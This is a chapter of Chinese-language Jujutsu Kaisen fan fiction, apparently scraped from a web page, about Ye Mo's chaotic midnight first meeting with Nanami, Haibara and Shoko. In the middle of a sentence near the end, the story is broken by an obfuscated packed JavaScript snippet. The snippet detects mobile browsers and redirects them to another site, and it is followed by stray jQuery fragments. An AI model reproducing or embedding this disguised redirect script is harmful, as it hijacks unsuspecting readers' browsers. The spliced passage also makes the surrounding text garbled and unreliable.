3. 一场狼狈的初见
作品:《[咒回]我用美食统治咒术界》 ......
让我们先暂停一下,将时间倒转到五分钟前。
东京时间,凌晨0:22。
东京都立咒术高专一年级生七海建人和灰原雄刚刚结束一项协助任务,但因为第二天还有任务,没有和往常一样选择留在当地过一夜,两人连夜从冲绳赶回东京。
一路舟车劳顿,抵达高专时,已是疲惫不堪。
就连一向阳光健谈的灰原雄也显而易见地蔫吧了,他一边查看手机,有一搭没一搭地跟七海闲聊。
“啊!七海,硝子前辈下午在群里发消息了哇,之前传闻的那个神秘女生成为我们的同期了呢!好期待见到她真人啊...”
“你猜,她会不会已经是一级咒术师的水准了呢?”
七海建人对此倒不是很在意。
“也许吧,但据五条所说,她的能力没有经过合理的控制和使用,更多的,只是一种咒力的本能释放。”
“所以,严格来说,尽管她很大概率具备一级的资本,但还远远达不到一级术士的水准。”
灰原侧头看向七海,惊叹道:“那也很厉害了嘛!”随即又有些落寞。
“唉,我已经入学好几个月了,也根本达不到一级的能力呢。”
七海揉了揉鼻梁,刚想安慰点什么。乐天派的灰原却早就把烦恼扔在一边,兴奋地对他说道:
“真是好奇呀...你呢?七海。”灰原雄看向七海。
七海无奈地点了点头。
看来高专又多了一个不简单的家伙,他只是希望是个正常人,这就够了,毕竟咒术界里不正常的家伙真是...
...太多了
两个年轻人一边轻声交谈着,一边走向自己的宿舍。
...
高专的宿舍经常住不满人。
本来学生的数量两只手就数得过来,加上高年级常年外出做任务,只偶尔会回来住一晚。
而现在,应该只有硝子和那个新来的同期在吧。
他们不约而同放轻脚步声,沉默下来。
寂静的夜里,唯有微弱的蝉鸣彰显着存在。
...
突然,走廊的尽头传来一声闷响——
是硝子房间那一边。
宿舍是很传统的霓虹式木质建筑结构,隔音并不好。
不大不小的声音刚好能穿过晚风,传入尚未入睡的人的耳朵里。
紧接着又是一连串的响动,好像有什么东西噼里啪啦地掉落。
真是...想不在意都不行啊...
七海建人和灰原雄默契地对视一眼,身体一转,向声源处走去。
声音的源头...是硝子隔壁的房间。
两人犹豫了一下,一时不知道该不该敲门。
...
下一刻,门开了。
一个黑影倏地窜了出来,直扑灰原雄的面门!
随即便被身手更加矫健的咒术师一把抓住。
而门内,叶莫直呼不妙,此刻的她还维持着空中飞扑的动作——直直冲向门外站着的人。
七海建人瞳孔紧缩。
眼前的“人形生物”面色冰冷,一身白衣,长发披散,被半遮住的双眼闪烁猩红的光。脸上、手上、身上错落染上鲜红的液体。
是贞子!...啊不...
是咒灵吗?
不对,身上没有咒灵的气息,是人类?
脑海中瞬间完成思考,七海的身体却已经下意识地接住了这个画风诡异的女性。
“呼...抱歉。把你的衣服弄脏了...”
叶莫挣扎着跳到地面上,发现接住自己的大善人浑身僵硬地呆立在那,制服也因为沾染了番茄酱晕染了深色痕迹。
她转头发现热狗被制服,这才松了口气。
下一秒,又瞬间注意到对面两人怪异的神色...
...
这再正常不过了,你可以想象在七海和灰原的视角里——
她现在的形象应该...活脱脱像一个暗夜杀人狂魔啊。
叶莫低头看了看自己,也沉默了。
...
类似这种时刻,我们就很需要小太阳灰原雄了。
他率先开口:
“啊!你就是叶莫同学吧,我们是你的同期,抱歉今天没来迎接你,我们刚出完任务回来...哦对了,我是灰原雄,他是七海建人。”
——原来是他们。
“你们好,我是叶莫。”
叶莫礼貌性地伸出手,又立即意识到她的掌心也粘着一大坨番茄酱。
于是她又不动声色地把手缩了回来。
...
“噗——咳咳,原来这是热狗咒灵吗哈哈,第一次见到这么有趣的咒灵形态,七海,你说是不是?”
仔细一看,两人发现女孩身上的鲜红的液体并不是血液,还散发着番茄的味道,酸酸甜甜的,闻着倒是让人很有食欲。
叶莫用手背擦了下脸颊。
她感觉这个世界真是荒谬极了。
......
一块整洁的手帕被递了过来。
“用这个擦吧。”
手帕的主人,正是对面一直没搭腔的七海建人。
叶莫仔细看了他一眼,男孩混血的五官已可窥见成熟后的深邃,眉眼之间是一如既往的疲惫,但明显要青涩许多,相比男高时期,叶莫更熟悉他成年后的模样。
她看着这个长发少年,感觉很是新奇。
“多谢了。”她没有推辞,接过手帕擦了把脸。匆忙给两人解释道。
“其实这是夜蛾老师借给我的咒骸,但不知道为什么突然变成这个样子了。多亏了你们才抓住它。”
“咦?原来是咒骸吗?”灰原举起热狗,仔细端详。
七海也难免好奇地打量起来。
被当猴子围观,热狗显然很不爽,热狗也是有狗格的好吗?
它拼命挣扎起来,灰原下意识地握紧双手,将它紧紧禁锢在铁一般的手掌之间。
“我只听说夜蛾老师喜欢制作动物形态的咒骸,还是第一次见到食物形态的。”
“emmm它其实,曾经是一只普通的狗来着...”叶莫有些尴尬,她也不知道这情况该从何解释。
......
一个沙哑的女声却从身后传来。
“各位,这是在干嘛呢?”
“开深夜party?”
不知何时,硝子双手抱臂靠在门上,眼眶下一片青黑,面无表情地扫视着三人一咒灵。
在接二连三的动静搞得她睡意全无后,家入硝子忍无可忍。
被冷刀子一样的目光扫过,三个人纷纷心虚地避开视线。就连热狗也不敢再幸灾乐祸,它抱紧自己的面包体,试图缩小存在感。
叶莫尴尬地摸了摸鼻子,食物的香气灵巧地顺着指尖钻进肺叶里。
“咕——”
她的胃终于撑不住了,发出大声的控诉。
啧,真不像样子呀。
......
————
每次被问起和叶莫的初见,七海建人都会回忆起来那个夏天的夜晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140742|196319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他能清楚地记起那个女孩冷着一张脸如临大敌的姿态,会回想起看到她擦干净的脸后心底一闪而过的惊艳。
还有她因尴尬而抿着唇的神情。
在那个狼狈的夜晚里,他们拐走了压根没打算反抗的硝子,偷偷翻进食堂,一起分食一大锅热腾腾的拉面,然后每个人带着满足的胃囊,幸福地钻进自己的被窝。
夏天的夜晚连风都是暖的,空气中残留着番茄的清新,这气味在多年后仍游走在他的鼻腔里,又酸又甜。
————
叶莫再睁开眼,已经日上三竿。
热狗已经恢复了咒骸的模样,毫无生命力地躺在房间的地面上。
...
都说患难见真情,而一起做违反规定的事又正恰恰是使关系密切的捷径。
昨晚被突然出现的咒灵接二连三地坑过,几个高专生又一拍即合地共同违反一次校规。彼此之间的关系明显变得熟络许多。
叶莫也趁机解释清楚了发生在咒骸身上的变化。
“我猜,那有可能是你的术式。”
硝子听完前因后果,抿了一口热汤,慢悠悠地做出分析。
“会让咒骸变换形态的术式吗?”七海若有所思。
硝子耸耸肩。“不知道。”她侧头看向叶莫。
“不过,莫,你这次使用术式,还是没有收取到术式信息吗?”
叶莫摇了摇头。
“这次使用也是处于无意识的情况下,按夜蛾老师的说法,这可能会导致术式信息的空缺。”
灰原哦了一声,形容道:“就像手机没有信号一样,叶莫的意识没有和咒力链接上喽?”
叶莫摊开手,“也可以这么说吧,但是总感觉哪里怪怪的...”
“既然这样,等明天我和七海做完任务,就回来帮你一起探索你的术式吧!”
灰原语气轻快地提议,眼睛里闪烁着光,身旁的七海显然对此没有异议。灰原炙热的眼神又转向了对面默默吃面的女孩。
忽然被这样的小太阳人格直射,叶莫有些不知所措。
“当然啦,如果到时候叶莫同学还不知道自己的术式的话。”灰原笑着补充了一句。
“说是帮忙,其实是好奇她的术式能达到什么地步吧?”
硝子一语道破真相。
灰原雄不好意思地吐了吐舌头,不过他确实好奇嘛。
叶莫倒是认真地点了点头,她也不客气起来,“那就麻烦各位啦~”
......
意识回到此刻。
光斑射在天花板上,随着窗外枝叶一同摇摆,时间在着方寸之间变得缓慢,叶莫竟感到有些恍惚,她望着天花板出神了片刻。
走出房间,蝉鸣伴随夏日的气息一同涌进来,瞬间填满小小的房间。
她低头看向脚边,只见门外的地板上矗立着一个纸袋,里面是高专制服的颜色。
叶莫对穿着并不是很在意,填写制服订制信息时就随手选了个最普通的款,因而无需专门耗费时间制作。
她瞟了眼时间。
下午14:33。
眼看快到和大家约定好的时间了,叶莫不想让别人多等,于是她迅速抓起制服换上,甩上门正准备冲向外面,忽而脚步一滞,转向隔壁硝子的房门前,敲了敲门。
家入硝子打了个长长的哈欠,轻轻摇晃着脑袋,一副还没睡醒的样子。
“早啊,莫。”她眯着眼打了个招呼。
“早,硝子。”
两人随意地闲谈着,像是熟识多年的老友,肩并肩走向操场。

